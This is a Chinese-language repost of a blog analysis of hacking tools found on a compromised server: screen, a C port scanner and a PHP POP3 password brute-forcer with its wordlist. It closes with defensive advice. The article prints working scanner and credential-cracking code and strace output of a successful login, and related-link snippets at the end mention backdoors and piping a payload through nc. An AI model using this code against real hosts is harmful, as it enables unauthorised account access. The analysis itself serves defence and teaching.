Reference:Analysis of a Hack,翻译:bangerlee
本文转载自:http://blog.jobbole.com/21294/
引言
最近遇到一个服务器被hack的问题,服务器变成了肉机,不断尝试破解其他机器的帐号。下面我们通过分析黑客在服务器上留下的工具,了解入门的hack方法、学习相应的防范措施。
hack工具
hacker登入一台被入侵的服务器,通常首先使用”w”命令查看登陆者信息、使用”passwd”命令修改当前用户密码,然后通过wget,获取提权和其他hack工具。hacker一般将工具解压到目录名以”.”开头的目录中,达到隐藏的效果,以下是此次问题hacker在服务器上留下的“礼物”:
1
2
3
4
5
6
7
|
linux: /tmp/ . ssh
总计
340
-rw-r--r--
1 root root 7289 06-03 13:06 pass_file
-rwxr-xr-x
1 root root 17274 06-03 13:20 pscan
-rw-r--r--
1 root root 6071 06-03 13:10 pscan.c
-rwxr-xr-x
1 root root 302240 06-03 13:06 screen
-rw-r--r--
1 root root 1444 06-03 13:06 sesion.php
|
下面我们对以上各工具的作用逐一进行分析。
远程会话管理工具screen
screen主要用于管理多窗口、使进程与原始远程连接脱离。
多窗口管理
有时我们需要执行一些比较耗时的程序,在这些程序运行结束后,我们才能操作终端。假如在耗时程序运行过程中,还想进行其他操作,那就需要另打开远程登陆终端。使用screen,可以避免打开多个登陆终端,下面来看使用screen模拟打开多个窗口的方法。
在执行screen程序前,使用”who”命令可以查到A机器上有两个用户,分别从本地、远程登入:
1
2
3
|
linux: /tmp/ . ssh
> who
lx
:0 2012-06-03 10:59
lx
pts /0
2012-06-03 13:05 (192.168.1.102)
|
通过远程pts/0运行screen后,进入一个新的命令操作窗口,并增加了一个远程登入:
1
2
3
4
|
linux: /tmp/ . ssh
> who
lx
:0 2012-06-03 10:59
lx
pts /0
2012-06-03 13:05 (192.168.1.102)
lx
pts /1
2012-06-03 15:40
|
在screen中,我们可以使用”ctrl+a+c”组合键创建新的窗口,使用”ctrl+a+n/p”组合键在窗口间来回切换。这样,当耗时程序被执行时,我们可以新建或切换到其他窗口,进行其他操作。
脱离原始远程连接
通过远程终端执行程序,程序尚未退出的情况下关闭远程连接,那么程序也会跟着中止。这将导致耗时程序尚未完成工作就退出、编辑中尚未保存的文件丢失。使用screen,可以达到进程不随远程连接关闭而退出的目的,这也是screen最主要的功能。
在screen窗口下,我们执行一个程序:
1
2
|
linux: /tmp/loop
> . /endless_loop
running...
|
程序执行时,我们将远程登陆终端关闭,在服务器本地开启终端,可以看到远程终端已经关闭:
1
2
3
|
linux: /tmp/loop
> who
lx
:0 2012-06-03 10:59
lx
pts /0
2012-06-03 20:04 (:0.0)
|
再来查之前通过远程拉起的endless_loop进程,可以看到其仍在运行,并且screen为其祖先进程:
1
2
3
4
5
6
|
linux: /tmp/loop
> ps
-elf | grep
endless | grep
- v
grep
0
R lx 4851 4586 99 80 0 - 926 - 20:24 pts /1
00:00:32 . /endless_loop
linux: /tmp/loop
> ps
-elf | grep
4586 | grep
- v
endless | grep
- v
grep
0
S lx 4586 4585 0 80 0 - 4193 wait 20:02 pts /1
00:00:00 /bin/bash
linux: /tmp/loop
> ps
-elf | grep
4585 | grep
- v
grep
| grep
- v
4586
1
S lx 4585 1 0 80 0 - 1036 - 20:02 ? 00:00:00 . /SCREEN
|
关于screen的更详细资料,可以参看这里。
暴力破解帐号
hacker费时费力入侵服务器,当然不会无欲无求,入侵服务器后,hacker要不获取服务器上的资料信息,要不就是将服务器变成肉机,用其破解更多服务器的帐号。暴力破解服务器帐号需要通过某一系统服务,例如pop3、ssh、telnet等,其过程可以分解为两个步骤:
●扫描服务器某系统服务的端口(例如pop3使用110端口,ssh使用22端口)
●对已开放端口的服务器进行密码破解
端口扫描程序
pscan是一个端口扫描程序,pscan.c是相应的源码。端口扫描功能的实现并不复杂,首先分配socket描述符,用目标ip、端口号填充类型为
sockaddr_in的结构:
1
2
3
4
5
|
connlist[i].s
= socket(AF_INET, SOCK_STREAM, 0);
fcntl(connlist[i].s,
F_SETFL, O_NONBLOCK);
connlist[i].addr.sin_addr.s_addr
= inet_addr(ip);
connlist[i].addr.sin_family
= AF_INET;
connlist[i].addr.sin_port
= htons(atoi(argv[2]));
|
然后调用connect函数尝试建立连接:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
ret
= connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr,
sizeof(struct
sockaddr_in));
if
(ret == -1) {
if
(errno == EISCONN) { // 端口打开
fprintf(outfd,
"%s\n" ,
(char
*)inet_ntoa(connlist[i].addr.sin_addr));
}
if
((errno != EALREADY) && (errno != EINPROGRESS)) {
// 对端端口为关闭状态
}
}
else {
// 端口打开
fprintf(outfd,
"%s\n" ,
(char
*)inet_ntoa(connlist[i].addr.sin_addr));
}
|
通过判断connect函数的返回值可知对端服务器端口是否开启,将扫描到的开放端口的服务器ip地址写入文件。
密码破解
记录下已开放端口的服务器ip地址后,破解程序将再次与这些ip地址对应的服务器进行连接,尝试用大量用户名/密码组合进行系统服务鉴权。文章开头的sesion.php即是破解pop3帐号用的php脚本,pass_file文件每一列对应一组用户名、密码。
各个系统服务(pop3、telnet、ssh等)使用的鉴权方法不同,破解程序的具体实现方法就各异,相对而言,pop3暴力破解程序的实现比较简单:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
function
POPa($username, $password, $server) {
$socket
= fsockopen($server, 110); //
POP3 port
if
(!$socket) {
return
"cracked" ;
}
$res
= fgets($socket, 512); //
read
+OK
if
(substr(trim($res), 0, 3) != "+OK" )
{
return
"cracked" ;
//
return
the error
}
fputs($socket,
"USER
$username\r\n" );
//
send user
$res
= fgets($socket, 512); //
read
+OK
if
(substr(trim($res), 0, 3) != "+OK" )
{
return
"cracked" ;
}
fputs($socket,
"PASS
$password\r\n" );
//
send pass
$res
= fgets($socket, 512); //
read
+OK
if
(substr(trim($res), 0, 3) != "+OK" )
{
return
$res;
}
$fp
= fopen( "vuln.txt" ,
"a" );
fwrite($fp,
"
$server $username $password\r\n" );
}
|
首先使用fsockopen函数与对端建立连接,然后向对端发送用户名、密码。若发送密码之后,收到的回应中头三个字符为”+OK”,即表示鉴权成功,相应的用户名、密码为对端pop3服务器的一个帐号。鉴权成功后,我们把对端ip、用户名和密码记录在vuln.txt文件中。
使用strace对以上密码破解程序进行跟踪,从输出结果中,我们能更清晰地了解两台机器间的交互过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
socket(PF_INET,
SOCK_STREAM, IPPROTO_IP) = 3
fcntl(3,
F_GETFL) = 0x2 (flags O_RDWR)
fcntl(3,
F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(3,
{sa_family=AF_INET, sin_port=htons(110), sin_addr=inet_addr( "213.8.54.xx" )},
16) = -1 EINPROGRESS (Operation now in
progress)
poll([{fd=3,
events=POLLIN|POLLOUT|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLOUT}])
getsockopt(3,
SOL_SOCKET, SO_ERROR, [0], [4]) = 0
fcntl(3,
F_SETFL, O_RDWR) = 0
poll([{fd=3,
events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
recvfrom(3,
"+OK
Microsoft Exchange Server 20" ...,
8192, MSG_DONTWAIT, NULL, NULL) = 99
sendto(3,
"USER
dennis\r\n" ,
13, MSG_DONTWAIT, NULL, 0) = 13
poll([{fd=3,
events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
recvfrom(3,
"+OK\r\n" ,
8192, MSG_DONTWAIT, NULL, NULL) = 5
sendto(3,
"PASS
dennis\r\n" ,
13, MSG_DONTWAIT, NULL, 0) = 13
poll([{fd=3,
events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
recvfrom(3,
"+OK
User successfully logged on." ...,
8192, MSG_DONTWAIT, NULL, NULL) = 34
sendto(3,
"QUIT\r\n" ,
6, MSG_DONTWAIT, NULL, 0) = 6
|
一点启示
人在江湖漂,难免不中招。为防范hacker入侵,我们可以事先做好哪些工作呢?
设定复杂的密码
我们看下pass_file文件的内容,看hacker尝试用哪些用户名/密码破解服务器帐号:
1
2
3
4
5
6
7
8
9
|
⋯⋯
michelle
michelle
nobody
nobody
Administrator
123456
qwerty
qwerty
backup
backup
info
test12345
shop
shop
sales
sales
|
可见,密码不能设置得与用户名相同,也不能设为”123456″、”test12345″这类简单的密码。
限制端口开放
hacker大多通过服务器开放的端口进行入侵,这就要求我们对端口进行严格的管理。像telnet这样用的比较少又不安全的服务,大多数服务器都应该将其关闭;像ftp这类服务,可以用到的时候再开启,用后及时关闭。
使用第三方工具阻挡攻击
像以上类型的暴力攻击,成千上万次地使用不同帐号进行鉴权,是否可以设定允许的鉴权尝试次数,超过设定的次数,服务器则将拒绝来访ip的连接?
有一些工具帮我们实现了以上功能,例如DenyHosts这个工具,DenyHosts通过分析sshd进程的日志文件,发现多次失败登陆记录时,会将来访ip记录到/etc/hosts.deny文件,屏蔽来访ip,从而达到阻挡ssh暴力攻击的效果。
小结
本文介绍了hacker常用工具screen的用法,端口扫描程序的实现,暴力破解帐号的入门方法,最后讲了下防范暴力破解的几点防范措施。
变成肉机的服务器7*24h不停地对各个网段扫描、破解帐号,因而中招的几率还是很大的,做好防范措施,不能掉以轻心咯。
分享到:
相关推荐
Linux系统服务器搭建实验报告模板
Linux实验报告模板
COMP_hack 真・女神転生IMAGINE专用服务器 是用于恢复已关闭的MMO的服务器软件(SMT:IMAGINE)。 这是从头开始并完全开源的服务器的完全重新实现。 记录文档的最佳位置是《因此请务必将其检出。 在Linux上构建 仅当...
Linux操作系统是一个开放源代码的免费操作系统,它不仅安全、稳定、成本低,而且很少发现有病毒传播,因此,Linux操作系统一直被认为是微软Windows系统的劲敌。近年来,随着Linux操作系统在我国的不断普及,随着...
然后向一个有这个漏洞的服务器发送 c:\>type example.txt | nc –nvv 192.168.0.80 80 (UNKNOWN) [192.168.0.80] 80 (?) open HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Tue, 03 Dec 2002 ...
自行破解示例项目显示了如何破解自己的服务器法律免责声明: 用户负责准备好的设置的使用我们不鼓励,纵容或精心策划入侵其他服务器或任何其他非法活动的尝试。 本网站内包含的文字和说明仅用于娱乐/教育目的如果您...
3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。 4. explorer-------打开...
hacknbash TartanHacks 2014项目-RPFTG(角色扮演文件传输游戏)Hack'n Bash激活虚拟环境从bash shell运行./setup 或者,您可以在每次启动新的终端会话时手动运行所需的以下设置命令:Linux: . venv/bin/activate ...
培训课程 时间安排 分类 授课内容 章节 实验 第一天 基础篇 Web安全简介 第一节:服务器是如何被入侵的 第二节:如何更好的学习web安全 Web安全简介 第一节:http协议解析 1.发起http请求 2. http协议详解 3.模拟...
对Windows、Linux及SQL语句有一定的了解即可 学生的知识能力提高 本课程重点培训学生的Web渗透测试能力,通过20天的渗透测试培训,学生可具备以下能力 1)、了解Web服务器的工作过程及原理 2)、了解HTTP协议 3)、...
无效Linux安装程序 什么是Void Linux? Void Linux是基于Linux内核的独立操作系统。 它使用其程序包管理器XBPS和runit初始化系统。 脚本内容 安装基础软件包(vim,nano,curl,wget) 安装开发包(可选,但很不错...
培训方案 对学生知识的要求 对Windows、Linux及SQL语句有一定的了解即可 学生的知识能力提高 本课程重点培训学生的Web渗透测试能力,通过20天的渗透测试培训,学生可具备以下能 力 1)、了解Web服务器的工作过程及...
对学生知识得要求 对Windows、Linux及SQL语句有一定得了解即可 学生得知识能力提高 本课程重点培训学生得Web渗透测试能力,通过20天得渗透测试培训,学生可具备以下 能力 1)、了解Web服务器得工作过程及原理 ...
为Winodws或Linux服务器创建后门(可以运行php文件) 绕过具有imap_open漏洞的禁用功能 使用cURL或唯一逻辑脚本绕过读取文件/etc/passwd 很多其他有趣的东西:) 入门 git clone ...
1.WINDOWS 2000或以上, LINUX, FREEBSD等操作系统 2.APACHE, IIS等标准网络环境 3.PHP 4.3.x 环境(www.php.net) 4.ZEND 编码支持(www.zend.com) ###### 3.01插件列表 ###### 1.QQ模块...
POD-Node.js的git push部署 核心API JSC覆盖率: 95.52% Pod简化了在Linux服务器上设置,更新和管理多个Node.js应用程序的工作流程。 非常适合在VPS上托管个人Node内容。 基本上有两个部分:1. git push deploy...
Node.JS模板快速启动Node.JS REST API的模板功能性惯用和可配置的日志记录响应压缩Sane棉绒和造型准则使用github动作进行持续集成测验代码覆盖率运行服务器npm start 注意:这将在开发环境中运行服务器。 有关将...
Ruby编写的一款工具,生成含漏洞的虚拟机: 花式扫描器 : Nmap端口扫描器: 本地网络扫描器: 子域名扫描器: linux漏洞扫描: 基于端口扫描以及关联CVE: 漏洞路由扫描器: 迷你批量信息泄漏扫描脚本: Waf类型检测...